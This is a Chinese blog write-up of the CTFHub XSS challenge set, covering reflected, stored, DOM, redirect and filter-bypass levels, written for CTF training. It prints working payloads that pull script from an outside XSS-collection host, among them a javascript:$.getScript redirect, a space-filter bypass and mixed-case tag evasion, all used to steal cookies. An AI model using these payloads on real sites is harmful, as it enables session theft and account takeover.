ctfhub-技能树-xss题集全部习题详解-最新

ctfhub技能树里的题集:

反射型xss

攻击流程:

①黑客发送带有xss恶意脚本的链接给用户

②用户点击了恶意链接,访问了目标服务器(正常的服务器)

③目标服务器(正常的服务器)将xss同正常的页面返回到用户的浏览器中

④用户浏览器解析了网页中xss恶意代码,向恶意服务器(也就是这里我们搭建的xss平台)发起请求

⑤黑客从自己搭建的恶意服务器中获取用户提交的信息和数据

 

1.先XSS platform平台,在上面注册一个账号,链接如下

xss platform平台

2.创建一个项目,默认模块即可,命名随意

3.复制红框内容

先提交

这里可以看到我们传了恶意代码进去

然后再复制url,把它复制到第二个框框发送,在我们的xss平台的项目中就会显示刚刚的数据包的信息,在cookie中发现了flag

存储型xss:

用上面同样的方法,同样的恶意代码

这里是传入服务器,并存储在那里

点击这个恶意链接时就会发送请求给恶意服务器,从而获得请求的信息和数据(里面藏有flag)

区别于前面反射型xss的是,他建立恶意连接是在于每一次都要发送含恶意代码,而这个存储xss不需要,一旦发送过一次,以后每次访问它时,都会含有恶意代码

DOM反射:

查看网页源码,第一个框框这个位置是我们可控的,查看对应位置的源码

结合</textarea>'"><script src=http://xsscom.com//He7bc3></script>构成上面源码部分闭合符合条件,可以删掉</textarea>'">不影响

';</script><script src=http://xsscom.com//He7bc3>//

传入第一个框框,提交

//是单行注释的意思,//那一行后面的都被注释掉了,不再执行

源码:
<script>
  $("#text")[0].innerHTML = 'CTFHub is very niubility';
</script>
传入,闭合处理后:
 <script>
        $("#text")[0].innerHTML = '';
 </script>
<script src=http://xsscom.com//He7bc3>//';
</script>

再复制url,传入第二个框框

在平台上受到记录

DOM跳转:

查看源码:

分析一下,代码意思是 从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL

<script>
        var target = location.search.split("=")
  //以等号分割成两份,一份是参数名,另一份是参数的值(可利用)
        if (target[0].slice(1) == "jumpto") {
  //其中target[0].slice(1)是指去掉?后面的参数名
            location.href = target[1];
  //如果参数名相等,就location.href(表示页面跳转)到target[1],也就是参数的值
        }
</script>

参考:CTFHub XSS DOM跳转 WriteUp_CVE-柠檬i的博客-CSDN博客

可以利用js代码和 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台 的 js 脚本,使用前提是网站引用了jQuery。

这里构造:

http://challenge-c644076cd9fc7c0b.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xsscom.com//He7bc3")

过滤空格

用/**/绕过 <script/**/src=http://xsscom.com//He7bc3>/**/</script>

过滤关键字:

过滤了script

大小写混拼试一试,就过了(擦汗)

<ScRipt src=http://xsscom.com//He7bc3> </ScRipt>

发送

### CTFHub Web技能树 XSS 学习路径和挑战 #### 了解XSS的基础概念 跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的Web安全漏洞,允许攻击者向其他用户的浏览器注入恶意脚本。这种类的攻击可以分为三类:反射XSS存储XSS以及基于DOM的XSS[^1]。 #### 掌握基本工具和技术 对于初学者来说,理解并掌握一些基础技术是非常重要的。例如,学会查看网页源代码中的HTML结构,通过开发者工具(F12)来分析页面加载过程中的请求响应数据流,特别是关注HTTP头部信息里的`Set-Cookie`字段及其属性设置情况,如`HttpOnly`, `Secure`, 和`SameSite`参数等[^4]。 #### 实践操作指南 为了更好地理解和应对不同形式下的XSS威胁,在实际环境中动手练习必不可少。可以从简单的实验环境开始尝试编写自定义的有效载荷(payload),逐步过渡到更复杂的场景模拟真实世界的攻击手法。值得注意的是,构建有效的XSS Payload通常依赖于JavaScript的知识水平;因此提高这方面的能力有助于创造更加巧妙且难以被防御机制识别出来的攻击方式[^2]。 #### 安全意识培养和社会工程学防范 除了技术和编码能力之外,还需要重视个人隐私保护与社会工程学方面的教育。比如当遇到未知来源的信息提示更改设备登录凭证时要保持警惕心态,并采取适当措施验证其合法性再做决定。此外,定期更新软件版本以修复已知的安全缺陷也是预防潜在风险的重要手段之一[^3]。 ```javascript // 示例Payload用于展示如何创建一个简单弹窗警告框 <script>alert('This is a test');</script> ```
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值